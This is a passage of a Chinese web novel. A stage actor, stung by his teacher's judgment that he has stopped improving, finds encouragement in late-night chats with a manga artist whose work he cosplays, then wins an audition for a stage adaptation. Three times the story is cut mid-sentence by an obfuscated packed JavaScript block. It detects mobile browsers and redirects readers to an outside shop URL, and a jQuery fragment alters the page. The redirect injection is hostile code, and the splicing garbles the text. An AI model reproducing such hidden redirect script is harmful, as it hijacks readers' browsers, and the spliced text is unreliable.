孩子想玩就支持，其他东西根本不在陈老师的考虑范围。 今天她来找江浏的目的很明确，是为了帮孙女物色一个合适的演员。 “我也不藏着掖着，这是个苦差事。” 陈老师说得很直白，“演女主的小姑娘才是妥妥的一番，高光全在女孩身上。男孩的戏份不多，还不好演。跑线下巡演也累得很。搞得都要开始排练了，还是找不到太满意的男主。” 但这也不是要“内定”江浏的意思，陈老师只是推荐他去试镜，人家能不能看上江浏还两说呢。 “丑话说在前头，我这孙女儿比我要求高多了，你得做好准备。” 尽管在老二次元的视角来看，陈老师介绍的活儿纯粹是个烫手山芋。但换个角度看，男女老少都知道的经典大IP改编是顶好顶好的资源，如果不是有业内大佬的提拔，普通演员连试镜的机会都没有。 江浏知道自己也没有去试镜之外的选择，只能寄希望于人家希娜女士看不上他，让他好好表现但美美落选，不要沦落到亲手毁自己童年的境地。 “好的陈老师，我会好好准备的。”他半是自我安慰道，“正好我感觉自己近期可能到瓶颈期了，确实需要一些舞台的磨练。” 这句话本是自谦，却收到了全然叫人意外的回复。 “是，你很久都没进步了。” 陈老师平静地说出这个陈述句。 没有歇斯底里的怒吼、没有尖酸刻薄的话语，只是单纯地讲出事实，不轻不重，却足以刺穿灵魂。 江浏藏在内心深处的骄傲，无声地被这句话击碎了。 他对此隐隐有察觉，但真的被授业恩师点破的瞬间，还是激得脸上发胀、发红，说不清、道不明的情绪在胸口噼里啪啦落下来，叫人心生逃避的冲动，不敢面对此刻的安静。 “陈老师，你是不是对我很失望？” 江浏脑袋晕着，胸口也乱乱的，不知道自己在说什么。 “不是失望不失望的问题。”陈老师说。 话语间，江浏甚至能想象到陈老师皱眉时拧成“川”字的眉心和加深的皱纹。 她只稀松平常地说：“这是你要跨过去的坎儿，得靠你自己。” 电话打完后，江浏撑着桌面缓缓起身。 即便内心早有预期和判断，但乍一听如此刺耳的真话，他还是伤心了。 他抬头走到镜子前，看向自己的脸。 果然，是没有什么表情的。 与坍塌、狼狈的内里不同，江浏看上去与平时没有什么两样。 有太多的技巧能让人看起来像是在强忍悲痛，他可以控制眉头微小的起伏，熟练地让唇瓣微微颤抖，甚至能让眼周与鼻尖发红但眼泪只在眼眶里打转，用身体微微前倾的姿态营造疲惫感。 现在，镜子里人终于是悲伤的了。 这些微表情、动作与台词的技巧实在是太熟练了，无需犹豫和思考的过程，几乎成了江浏的本能，像是模板，稍加修改就能给不同的角色套上。年轻气盛的角色夸张些，内敛深沉的角色收着点儿。 江浏敛了表情，回归了面无表情的模样，自言自语，“难怪，什么角色都是这一套，会被说‘水帝’一点儿也不冤。” 可如果不是技巧，他最本能的反应平静得像是空心的假人，任凭情绪的风暴如何，都是那个死气沉沉的模样。 每次表演他都像是一个冰冷的法医，把角色的一生剖开，没有温度地在名为“人物小传”的尸检报告上，写下清晰、准确、详尽的“死因”。 江浏站了许久，才重新躺回床上。 他一直都很相信自己的理智，但现在是晚上，最容易情绪化的时刻，身体状态的变化让他也没办法控制自己的想法和行动。 想要获得安慰，想要缓解瓶颈期的焦虑，不想自己被降临的夜幕吞噬。 然而，这个时候的心绪，是没有任何人可以倾诉的。 “老师说的对，得靠我自己。”江浏看着被夜灯暖光染上昏暗橙黄色的天花板，喃喃自语。 就在这时，亮起的手机屏幕吸引了他的注意。 【夜幕糖】：[图片] 【夜幕糖】：下播 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815079|190840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之后我又增加了亿点点细节，你看看还有没有想要修改的地方[酷] 约的稿件画完了。 琉璃瓦的屋檐之上，黑布蒙上口鼻的影卫正注视着前方。 夜晚的风无法被雕刻形状，所以想要留下风的痕迹，需要描绘那飘动的羽毛，似乎在飘动中半遮住发丝的兜帽、衣摆上的波浪、剑穗的飞扬。 黑手套上的金属装饰镀着月光的冷辉，皮革质感的腿环在大腿上无比真实地勒出肉感。 太好看了。 尽管早就在直播时看过叫人惊艳的线稿和细致的铺色，但真正看到成稿的瞬间，那种强烈的视觉冲击是无法用语言描述的。 任何一张真人的剧照和定妆照都无法给他这样的震撼。 至少在这张画里，既是影卫，也是江浏自己，扮演的角色和演员本人奇妙的合二为一了。 他隐秘的期待和未曾达到的理想，忽然在画者笔下成为了看得见、摸得到的东西。 【CN平野月】：太太，你是我的神！ 江浏连续发了好多“啊啊啊啊”的尖叫、开心到爆炸的表情包，生怕疯狂刷屏也表达不出自己的激动和对画稿的喜欢。 【CN平野月】：我圆满了[流泪] 【CN平野月】：从来没想过能约到这么好的稿子[流泪] 【CN平野月】：画得太帅了[流泪] 江浏在接稿平台上利落地结算了尾款，还额外发了红包给夜幕糖，却被对方拒绝了。 【夜幕糖】：我这个带背景的插画要价本来就不低，本来给你亲友价打折你都不愿意，再要加钱那我也不愿意！ 【夜幕糖】：不过这张我也是画得很满意，能发社媒吗？ 【CN平野月】：发发发！尽管发！ 【夜幕糖】：我还想得寸进尺一点，能不能用来当我首页例图啊？ 【CN平野月】：用用用！随便用！ 掉进负面流沙里的情绪被拖拽回来，江浏只感觉连呼吸都顺当了很多。 不想让这份狂喜溜走，他也想给那个送来快乐的人回馈以同等的惊喜。 江浏快步走进了自己的肥宅快乐屋，开灯给人台上未完成的Cos服拍了照片。 【CN平野月】：虽然还没有完成，但还是忍不住先给你预告。 【CN平野月】：[图片] 【CN平野月】：找人定制的，绝世大总攻将军的战甲！ 混传统服饰圈总会关注几个大佬，再顺着大佬的关注列表找一找，就发现了专门研究古代甲胄、复原制作不同时期战甲的大佬。 从夜幕糖新作刚开始连载的时候，江浏便找到大佬下了订单，希望能以传统甲胄的制作工艺制作Cos服，钱花够了才能做出效果。 【CN平野月】：目前衣服还在等我提出修改意见返工，太太看一看有没有不符合原作的地方！ 【CN平野月】：之前没公开过人设三视图，有些角度是让做衣服的裁缝凭想象弄的。糖咪画得那么考究，我也想做得还原些！ 还在打游戏的叶慕唐愣在原地，任由自己控制的角色被怪拎着大盾牌冲死。 然后，他蹦下转椅。 他乐得像是地板太烫脚、踩到就要跳起来的猴子，手舞足蹈地在房间里发疯。 “啊啊啊啊！有人出我家孩子的Cos了啊啊啊啊！” 12. 心迹 【夜幕糖】：月总，你才是我的神！！！ 【夜幕糖】：[动画表情] 【夜幕糖】：[啊啊啊啊啊] 【夜幕糖】：[动画表情：喜极而泣] 叶慕唐完全丧失了语言功能，只能疯狂发送各种表情包来表达内心的激动。 那是他创造的小世界里的小人儿啊，以这样的方式走进现实，也是圆了漫画家本人的梦。 他这个弹簧跟着不断弹出来的表情包蹦跶了半天，才终于没劲儿了。回到座位上他手指尖还在哆嗦，放在键盘上打字的时候手都是虚的、软的，半天敲不出完整的话。 而对面的惊喜还在不断地砸过来。 【CN平野月】：最近我看很多博主分享了用珍珠棉做假发，很轻、飘逸、好凹造型，想要发丝的视觉效果可以手绘也可以走后期。 【CN平野月】：但我只看过视频，没看过实物还是有些不放心，找毛娘约了常规的高温丝假发和珍珠棉两个版本，等到货了上身对比一下，哪个好用哪个。 【CN平野月】：（虽然但是，我真的好像在画饼）[捂脸] 【CN平野月】：还有道具，约的3D打印定制，都还没做好，但是看店家之前的橱窗展示，是能看出来出品有保障的！ 叶慕唐一边感动到眼泪模糊，一边又忍不住想：读者花在Cosplay上的钱，已经比他这本漫画挣的还多了。 不过比起读者直接给他打这么多钱，还是看到自家孩子被超帅、超会上皮①的大帅哥Cos更能让他开心和满足。 【夜幕糖】：已经很像了、很还原了！[汪汪大哭] 【夜幕糖】：有这样的读者真的太幸福了[流泪][流泪][流泪] 【夜幕糖】：忽然觉得自己这辈子值了…… 叶慕唐只恨自己嘴笨，说不出万分之一的心绪。 【CN平野月】：哪有那么夸张，太太高兴就好~但现在还是画饼阶段，不确定最终效果能到什么程度。 【夜幕糖】：是光看草稿就知道正片绝对差不了的程度（认真）！ 【CN平野月】：我可以得到太太未公开的人设三视图做衣服吗[眼巴巴] 【夜幕糖】：太可以辣，给你看给你看~ 【夜幕糖】：[图片] 如果条件允许，江浏甚至想过找搭子出心机癫公皇帝受，让大将军和狗皇帝小情侣能成双成对地出现在画面里。 奈何他不喜欢混圈子，身份又敏感，向来都是独行侠，从来没跟人合拍过。 再加上夜幕糖太太实在是糊，以目前的情况，大概是凑不出第二个喜欢原作漫画还有能力出高质量Cos的读者了。 不过这也算不上什么大问题，实在不行就一人分饰两角，靠后期合成嘛！ 【CN平野月】：滴滴，预防针来了！画的大饼仅参考，还请糖咪以实物为准！ 【夜幕糖】：这饼太香了（嚼嚼）！谁说这饼不好！（嚼嚼） 【夜幕糖】：我真觉得哪怕永远都是个饼，我也足够幸福了。 【夜幕糖】：好期待啊…… 【夜幕糖】：我现在忽然理解了，比起惊喜，我觉得从等待开始，我就已经在快乐了。 “期待”是可以让快乐变长的。 说实话，江浏看了对方的反应，既高兴又觉得压力上来了。 一时冲动没做好保密工作，后果还是得自己担着。调子起得这么高，他可得拎住这跟弦，别到后期掉链子叫人失望。 不过看夜幕糖高兴的样子，江浏甚至觉得这份小小的烦恼也能咂摸出些许叫人开心的滋味。 同时，他也关注到了一些让自己感到好奇的反差。 【CN平野月】：我突然发现，太太超级讨厌真人影视化，但是对Cosplay接受度却很高诶！ 都是真人来扮演二次元的角色，绝大多数阿宅就算自己不会亲自下场搞Cosplay也都认可这样的形式，几乎是不约而同地讨厌真人版的电视电影改编。 机会正巧，江浏想问一问夜幕糖对这个问题的态度，说不定也能构成参考。 【CN平野月】：糖咪是怎么看待真人化的？ 对面保持“正在输入”的状态，应该是在头脑风暴。 【夜幕糖】：我觉得……目前阶段绝大多数真人化，我就是纯高兴原作者有版权费挣，其他的也不敢期待什么了。 【夜幕糖】：But！就在刚刚打字的时候我忽然想到，我们的讨论都集中在亚文化产品上，网络小说、漫画、游戏“不正统”也“不主流”。可实际上很多正剧也都是严肃文学小说改编的啊！ 【CN平野月】：哎！你别说，这么一想还真是！ 【夜幕糖】：四大名著的电视剧，哪个不是小说真人化？谁敢说这些剧集拍得不好？ 【夜幕糖】：而且现在我们看四大名著是正统文学，可是在当时的那个时代，《红楼梦》《水浒传》刚写出来的时候，不也是“亚文化杂书”吗？ 【CN平野月】：我以前还想着是漫画、网络小说都是幻想元素比较多的，因为画面特效的问题不好用真人呈现，可是哪部作品里的妖怪有《西游记》里面那么多啊？ 【夜幕糖】：对啊！那么多年前拍的，不照样好得不得了吗？ 顿时，江浏只觉得豁然开朗。 前所未有的视角和思考方式让他兴奋起来。 【夜幕糖】：所以我觉得，归根结底是质量问题、用不用心的问题。 【夜幕糖】：碰上好的班底，进行合适的改编，最终呈现出来的效果大致分为“还原了原著”“不输给原著”，甚至还有“超越了原著”的情况。 【CN平野月】：也有当时吵得不可开交，最终的结果留给了时间的。 【夜幕糖】：对啊，原来年年各个地方台都重播的那部电视剧，原著又抄袭融梗又封建余孽，编剧和导演改编之后成了难以超越的经典，演员的演技和配音演员的声音共同塑造的主角那么深入人心。 【CN平野月】：可不是，改到最后其实已经完全是另一种精神内核了。 江浏很久很久没有在交流中感受到这样的舒适和畅快了。 那种莫名的“轻盈感”再次拥抱了他的身心。 相似的创作者视角使得他们不仅能分享表层的故事，更是在人物的塑造和剧情的节奏技巧上找到共鸣。 这样深入的交流是多么难得，江浏都不记得上次是什么时候的事情了 【夜幕糖】：我觉得小说改真人其实要比漫画容易很多的。 【夜幕糖】：漫画因为有清晰的人物形象，真人演员就算通过化妆也很难达到角色的形象要求。就算长得像，演技、声线、价钱、档期合不合适还另说呢！ 【夜幕糖】：所以动画化肯定比真人化更靠谱。 【CN平野月】：但哪怕是动画改编更容易做到还原原作，遇上垃圾制作组“惨遭动画化”的惨剧也是一抓一大把。 【夜幕糖】：对啊！所以说，核心还是改编有没有认真、尊重、用心。 【夜幕糖】：我也不是见到真人版就骂，好的真人版我也夸过啊！ 【夜幕糖】：所以我们讨厌的不是真人化改编，是剧组又要自带流量的大IP又瞧不起我们二次元的嘴脸藏都不藏，连敷衍都懒得敷衍，我们才觉得膈应、觉得讨厌。 在这一刻，江浏忽然下定了决心。 陈老师推荐的试镜，或许他不应该随随便便地走过场，等着被人淘汰。 虽然舞台剧这样的大型制作，单独一个演员能做的东西是非常有限的。 服装、录音录像、美术设计、化妆、道具、舞台装置都不归他管，随便哪个环节不行都会导致 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815080|190840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作品整个垮掉，只有整个团队每个成员的能力和态度都不掉线才能保证最终呈现的质量。 但江浏却在此刻下定决心，要蹚过这趟浑水。 去吧！我不下地狱谁下地狱？ 哪怕注定拍出来的东西会毁原著，起码在这个组里，他是绝对不会用随便的态度应对的人。 说不定，他的态度和努力能稍稍拯救这个角色的观感呢？ 说不定，他也能影响身边的人也一起认真地对待作品的改编和再创造呢？ 【CN平野月】：糖咪跟我分享的这些，我真的很高兴。谢谢你帮我答疑解惑了。 【夜幕糖】：嗐！也就你愿意听我废话。 【夜幕糖】：你不嫌弃我话痨，我真的松一大口气。 【CN平野月】：没有废话，每句话我听着都很受益。 【CN平野月】：倒不如说……有了这些讨论和交流，我才知道自己为什么会喜欢糖咪的作品。太太的画工让作品有了美丽的外表，思想让角色有了有趣的灵魂，所以才会有超棒的作品！ 江浏是真心这么想，自家的宝藏太太，他怎么夸都夸不腻的。 屏幕的对面，一不小心聊到深夜的叶慕唐突然掉了滴眼泪。 其实他最近的状态不算好的。 人都在放弃的边缘了，想着完结这部之后，业余时间靠着约稿当副业赚零花钱，再找个康复教练的工作当牛马了此残生得了。 忽然这么给他一下，叶慕唐此刻真觉得这个漫画他还能画一辈子。 那些支持和认可让他放下戒备，吐露未曾与他人分享过的心绪。 【夜幕糖】：我跟你说哦，最近还有个金主想要包养我画画来着。 【夜幕糖】：我没答应。 江浏心里一惊，胸口忽然紧了片刻。 金主号暂且没有暴露的风险，但他不知道自己贸然且越界的支持有没有打扰到对方。 【夜幕糖】：我也不为了形象跟你说谎，其实，我真的心动了，很想答应。 【夜幕糖】：拒绝了之后，我甚至有点后悔。 【夜幕糖】：要真是有人白给我钱维持生活，让我能没有后顾之忧地尽情创作，我真能开心死。 【CN平野月】：既然是好事，那你为什么要拒绝呢？ 【夜幕糖】：天上掉馅儿饼的好事儿凭什么能砸我身上？换做是我有钱了，非亲非故，也不会随便给别人打钱啊！ 【夜幕糖】：当一个平平无奇的普通人觉得自己遇到贵人了、能占便宜了、能赚大钱了，大概率是要被电.信.诈.骗了。 【CN平野月】：如果对方没有恶意呢？ 要是金主目的不纯，肯定是要多加防备的。 可江浏自己就是金主，他还不清楚自己心里比洗衣液除菌洗涤后又烘干日晒的衣服还要干净吗？ 【CN平野月】：你可以跟他谈条件、提要求。比如不能干涉私生活和创作，至于回报……像是独立游戏众筹一样给金主送点周边、定制礼物什么的，也不是不行。 安静了会儿，对话框弹出了新的消息。 【夜幕糖】：还是算了。 【夜幕糖】：太麻烦了，就算我们不以恶意揣测这位金主。但两个好人没能好好相处的事情太多了，我从小就不擅长与人交往，怕掌握不好度，好事变坏事。 【夜幕糖】：这样的关系太复杂了，我确实没有能力维护好，还是不要破坏现有的关系吧。维持现状对我来说已经很困难了，人际的压力再上强度我可就要崩了，会影响画画的。 江浏听了也不再劝，怕再给加压太太要变成糖渣了，墙头草似的附和着。 【CN平野月】：也是，我能理解太太的想法。 【CN平野月】：无事献殷勤非奸即盗，这样突然冒出来说要打钱的，说不定别有目呢！肯定不是好人！ 13. 救场 二人越说越兴奋，聊着聊着又忘了时间，等回过神来才发现天都要亮了。 差点聊通宵的情况不是第一次发生，他们趁着困意上涌互道了晚安，略有些尽兴了但又没完全尽兴、还没聊够的感觉，几乎是双双秒睡过去。 吃嘛嘛香、睡得比吃得更香是叶慕唐很大的健康优势，这一觉肯定是要睡足到快中午才醒过来。 比起来，江浏的睡眠状态就没有那么乐观了。 一晚上梦的全是动画电影的场景，日式与西洋风结合的高耸建筑，悬崖边的木质大桥红得像是血在燃烧，草药颜色的浴池蒸腾出团团白气，八百万奇形怪状的神明乘船前来沐浴享乐。 那样鲜艳的、浓重的、童话般的色彩中，江浏自己则化作白身青鬃的游龙穿梭其间，显得寡淡又疏离。 滑稽的客人、谄媚的侍者、吵闹的音乐鼓点、摆盘精致却被浪费掉的食物、叮当作响的金币铜币散发金属的臭味……这极尽奢华与荒诞的喧嚣里，干净的龙显得格格不入。 白衣的龙少年明知自己不属于这里，却又不得已深陷其中。 催命般的雷达闹钟响起，江浏被铃声抽出这个具体又光怪陆离的梦，眼前熟悉的天花板和蚕丝被的触感帮他缓缓回到现实当中。 醒都醒了，再想睡回去就难了。 江浏抬起手腕，看看手环睡眠检测报告，心说，自己是不是上年纪了，觉少。 大脑还没有完全开机，他点开副游领取月卡奖励，熟练地开了自动刷材料。现在是版本末的长草期，除了给前瞻的新角色囤好抽卡材料之外没什么事情可干。 伴着游戏二倍速自动战斗的音效，江浏爬起来洗漱。 看着镜子里略带些憔悴的脸，他忍不住皱紧了眉头。 熬夜的痕迹明显地留在眼下，不像以前刚出道演少年舞姬的时候，大夜戏之后照样容光焕发、生龙活虎。 哪怕心里清楚行业带来的年龄焦虑和外貌焦虑是不正常的，他还是会无法控制地挑剔自己的长相和身材，因为年龄的数字而开始讨厌过生日，想要抢在青春“消逝”之前多留下好角色和好作品。 懂得道理是一回事，真的能做到就是另一码事了。 洗漱和护肤的过程中，江浏忍不住地想着与年龄有关的事情。 原作的女主角才十岁，龙少年虽然是河川之主老妖精化身，但外貌上看和女主也是同龄人。 如果不是现场舞台剧，而是摄像头怼着脸拍特写的电视剧，自己这个年龄是无论如何也演不了少年角色的。 不是每个上年纪的中年人都能在妆造、灯光和表演的加持之下，演出灵动、自然、有朝气的少年形象。年轻貌美的人演雷剧观众尚且不会宽容，中老年装嫩更是让观众反胃全网嘲。 昨夜的壮志满怀在已到而立的年龄面前，被泼了盆冰水骤然降温。 江浏除了联系经纪人和生活助理帮忙安排光电类的医美项目、尽量避免熬夜、多去健身房之外，对自己的状态也无计可施。 他心里清楚，如果运气好能通过这次试镜，这大概是自己最后一个少年人角色了。 岁月残酷又公平。 …… 五天后。 江浏算是陈老太太临时搬来救场的，在仓促之下安排的试镜，剧组甚至没有机会腾出一间像样的房间，只得将乱七八糟的杂物堆到另一边的墙角，勉强腾出来一块干净些的地方，架好了摄像机。 “各位老师，试镜龙少年的演员来了。”助理小郑将复印好的资料放在桌前，准备离开房间。 虽然试镜场地简陋，但毕竟是正规项目，该有的保密措施还是要有的。小郑作为乔希娜的得力助手，熟练地整理场地后高效完成了清场工作，接下来还安排了不少活儿等她处理。 在她转身走出房间的瞬间，微冷的淡香里，她与那个戴着青色假发的演员再度擦肩而过，礼貌地互相微笑致意。 “辛苦您。” “您也是，加油哦！” 在房门关上前，小郑停下来，视线穿过即将合拢的门缝，望向那人的背影。 娱乐圈的帅哥她见多了，能让她在此刻驻足的不仅仅是颜值，而是别的东西。 青色假发质感自然得恰到好处，猛然间看到甚至会以为是打理得很好的真发。 齐刘海厚度适中，多一分沉闷显假、少一分又太轻太薄。发尾形状利落清晰，不是发胶喷多了、定型完跟钢盔似的生硬，保持造型还能随着动作微微飘起。 小郑说不出个所以然来，但她知道这个演员和之前的不一样。 究竟哪里不同，她一时也很难描述那种玄而又玄的感觉。 还原角色的发型只是初见面最吸睛的外在，但仅靠这点是无法让挑剔的乔希娜点头的。至于其他的什么，小郑也只有模模糊糊的预感。 试镜的时间比想象中要长一些，等到小郑接到消息返回的时候，来试镜的男演员已经离开了。 “乔姐，怎么样？”小郑很有眼力见地递上咖啡。 此前因为男主迟迟定不下来而持续的低气压早已烟消云散，此时的乔希娜目光灼灼，嘴角噙着一丝略带侵略性的笑，像是闻到血腥味而兴奋起来准备大干一场的猛兽。 乔希娜直言，“他像的。” 这话听得小郑有些云里雾里。 “不仅是外貌，我是说他这个人是像的。”乔希娜激动得想来根烟，又想起自己在戒烟，身上连个打火机都没有，只能再喝口咖啡勉强过瘾。 小郑倒是看不出这些，说：“还弄了假发过来试镜，还挺……势在必得？看得出他是认真做过功课的，至少在外形上很贴合角色。” 齐刘海的妹妹头对于男演员而言并不是那么好驾驭的发型，厚重、尖锐、下垂、硬直的发型线条对面部起不到什么修饰的作用，反而罩子似的放大缺点，太硬朗的脸搭不上，太柔和的脸又过于女气。 顶着这么难搞的发型还能让人觉得帅气好看，确实是不容易。 “那个倒不是主要原因。” 她微微转动掌心联名咖啡的杯套，“表演么，包括那些演成精的老戏骨，都是放大自己和角色的相似之处，从和自己相似的角色演起来的。只要这人的某些性格特质跟角色贴，基本不会差太多。” “还得再调一调。”乔希娜的大脑高速运转，分析道，“他也好多年没演过话剧、没上过舞台了。剧场的表演和影视剧差距还是很大的，他现在表演的尺度还是小了点儿，有点太收着了。” 转而，她又欣赏地说：“但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815081|190840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 台词功底是真硬，这么多年应该没断过基本功。” 明明没有情绪特别激动的段落，可试镜的表演却让她莫名想起小时候坐在剧院，看着奶奶辈的老演员不用话筒声音就能传遍整个剧场，听着不用字幕就能清楚在讲什么的台词的场景。 “不过，还有个事情，让我觉得只要是这个人……说不定能给我惊喜。” 乔希娜买了个关子，勾着小郑问她是什么事。 “他没来试镜之前，我奶奶说我们以前见过，我还没印象。是刚刚试镜、看简历我才想起来是怎么一回事儿。” 这要追溯到乔希娜还在上高中的时候。 她从小就喜欢跟在奶奶身后看她拍戏、教学，表演系的毕业大戏她基本上年年都是从排练看到演出的，经常出入校园内的剧院。 那天她记错了排练时间，到早了很多，剧场里没有在排毕业大戏，用舞台的是“影视配音技巧”选修课的期末汇报表演，上台展示的都是些尚且青涩和稚嫩的大一大二学生。 来都来了，乔希娜也懒得走，从桌子上顺了海报和节目单，混入观众席，津津有味地看了起来。 几组表演之后，汇报进入了“回顾经典”的主题篇章，表演的配音片段都是些老剧目。担任主持人的学生介绍了即将进行展演的剧目选段背景和表演者。 接下来要展示的是旧版《西游记》的选段。 一女一男两位学生将分别饰演孙悟空化作的“仙女”和被大师兄戏弄的八戒。 女演员舞台意识很好，但还是嫩了些。在走上台时，她的上身微微侧过来面向观众席，微笑着用眼神与台下的观众交流，因此她没能看见地板有一块定位荧光胶布开胶掀了起来，好巧不巧拌住了她的高跟鞋。 就在穿着连衣裙的女孩趔趄着要摔下去时，跟在她身后上台的男学生一个箭步冲上去扶住了她，用身体挡住了台下的镜头，没让那姑娘在台上走光出丑。 随后，那男学生举起话筒，眯着眼睛，用猪八戒那憨傻、窝囊、厚实的声音，“嘿嘿”笑着说。 “娘子，慢点儿！等等俺老猪。” 男生救场时瞬间进入了角色，脸上的表情贴合声音，变得谄媚又色眯眯的。但奈何脸帅，表情已经尽力往猥琐的方向努力了，形象还是很周正不惹人嫌的。 说完，他还特地“哼哼”吸了两声猪叫。 被扶住的女生反应也快，当即捏起腔调，说了声转着弯儿的“哎呀，讨厌”，翻手用古典舞的身韵动作仙女儿似的轻轻推开搭档，又掩面留了娇俏、狡黠的眼神，带着戏款款走到了表演区。 “嘿嘿，娘子、娘子。”男生追着搭档，也走到了表演区就位。 随后，台上的灯光在观众席的一片叫好声和热烈的掌声里暗下，大屏幕亮起，开始播放消音的影视剧片段，结课汇报表演继续。 台下的乔希娜也在鼓掌。 电石火光之间，演员的临场发挥让失误变成了舞台设计，精彩。 而这些意外、瑕疵，正是现场表演的魅力所在。 每一场是一样的但又不太一样。 表演的间隙，乔希娜翻开节目单，找到了给猪八戒配音的男学生。 “江浏……” “名字还挺好听的。” 14. 围读 试镜之后，乔希娜没有让江浏在“胜券在握”和“自我怀疑”的两极之间徘徊太久。 “什么，后天就进组？”接到电话的时候江浏以为自己听错了，“确定不是下个月的十号，是这个月十号？我记得合同还没签吧……” 问完了他才反应过来，他是陈老太太摇来救场的，整个组除了男主其他演员早都定下来了，就等着排练了。可不是他一进组马上开工么！ “还有这个角色没有B角，只有我一个人演……那我后续的工作安排得重新调整了。戏份再少也是现场表演啊，肯定要以舞台剧这边优先。” 次日，公司和制作方就把合同签了下来。经纪人也调整了正在对接中的工作，保证江浏从排练到剧目巡演的时间段没有其他干扰。 万事已定的晚上，江浏出乎意料的平静。 原定的休息计划被突然插足的工作打乱，他也丝毫不觉得麻烦，反而干劲满满。他没给自己太多时间沉浸在被选中的狂喜，一头扎进了新鲜到手的剧本里。 收到发来的资料和相关表演视频链接之后，江浏才知道，乔希娜买的并不是动画电影本身的改编版权，而是根据电影改编的真人化舞台剧的翻拍版权。 小日子剧团请来了欧美的导演和音乐总监，许多真人化舞台化改编会遇到的痛点，已经有成熟的团队替他们痛过了。 可能耗费大量经费的舞台装置、道具设计，也不用从零开始纠结。 全樱花国巡演的票房成绩，更是从侧面证明了改编的成功禁得起市场的考验。 说人话，这是一场非常保险的“抄作业”。 乔希娜还是那个乔希娜，打小就是脑子清楚、不按常理出牌、要干大事的人。 她深知，以目前的班底自行改编难如登天，但抄作业的难度总是要低一些的。 打个国内国外的信息差，赚几波童年情怀钱，形式还赶上了近几年兴起的二次元商业风口，是个能说服投资人的方案。 想到这里，江浏对项目的担忧少了些，可以摒弃杂念、专注地进行排练前的准备工作。 电影本体、动画电影的官方设定集、原版舞台剧的幕后纪录片、改编后的剧本分析、人物小传、台词设计……要做的功课太多了，江浏一不小心又熬了个大夜。 不同颜色的索引贴代表人物在剧情发展不同阶段的状态和情绪。 逻辑重音在字词下方点上黑点，借用音乐的渐强、渐弱、力度记号划分语句音量的变化，空心的三角形是全气音，涂实心的三角形代表全实声，涂一半空一半的是气声融合。 重点的潜台词用透明的便利贴写好盖在对应的台词上，容易读错或者更改了标准读音的字词标上拼音，结合特定动作的台词荧光笔高亮。 江浏捧着剧本在房间内踱步，想象着舞台的尺度，一边演一边背词，再根据实际演出来的感受调整剧本上的标记。 就这样，他又熬到了后半夜。 还好龙少年戏份够少，不是话多的性格，不然就算让他熬到天亮，能不能做完功课也说不准。 当天，江浏淡妆打底，非常准时地参与了排练。 摄像头架在庞大的会议厅角落，扛着机器的摄影师穿梭在围在桌子外圈的座椅中，捕捉重要的镜头。 在这场集齐全体演职人员的剧本围读会开始前，所有人都在忙于寒暄和社交，跟这个叙叙旧、跟那个打声招呼认识一下。 江浏笑得脸都有些累，扭头意外地在人群中发现了一个熟悉的身影。 “鳜鱼！”他声音很小，但口型做得夸张，冲着远处的女演员招手，“娃娃鱼！” 女演员的圆眼睛本身就像小鹿，看到江浏的时候瞪得更圆更大了，也激动得跳起来向他挥手。 “谁啊谁啊！这不大浏吗！”与甜妹形象反差极大的成熟声音带点微微的沙哑，言语间的豪爽与她大力拍打江浏肩膀的动作浑然一体。 江浏总算是露出了真心的笑，说：“这不是鳜鱼么！你演女主？” “嗯呢！”女演员骄傲地抬头示意，“也是让我演上A角了。” 她叫桂予宁，是江浏同班同学。关系好的都因为名字的谐音叫她“鳜鱼”，又因为长着一张超抗老的娃娃脸，被叫“娃娃鱼”。前段时间的热播剧，她把女主从高中演到工作都没有一点违和感。 两个人学生时代在“品味”上总能达成一致。 比如，经常不约而同地抢了同样的选修课、观影偏好高度重合、吃东西的口味相似……自从在影视配音技巧课上做过搭档之后，整个大学阶段都是合作愉快的小组作业搭子。 出了校园之后，这反而是第一回正式合作。 “原来演龙少年的是你！那就说得通了。不愧是陈老太太的孙女，真会选人。”桂予宁“啧啧”咂嘴，手上轻轻向乔希娜的方向比了大拇指。 江浏笑着用同样的句式说：“不愧是你，算上陈老师，你一句话捧了三个人。” “瞧你说的，我这人只是比较擅长瞎说大实话罢了。”桂予宁的嘴是绝对不会让任何一句话掉在地上的。 虽是许久没见，线上聊天也不是很频繁，但老同学见面仿佛瞬间回到了学生时代，许多被暂时放在脑后仓库区的记忆，被几句话的气息吹走了时间蒙上的灰尘。 社交是必要的环节，但效率至上的导演兼制片人乔希娜绝对不允许这种行为喧宾夺主。 很快，在她的示意下，大多数演职人员都根据名牌找到了自己的位置，坐进了由数张长条桌围成“回”字内外。除了助理、后勤和摄影师，不再有走动的人。 剧本围读会准时开始。 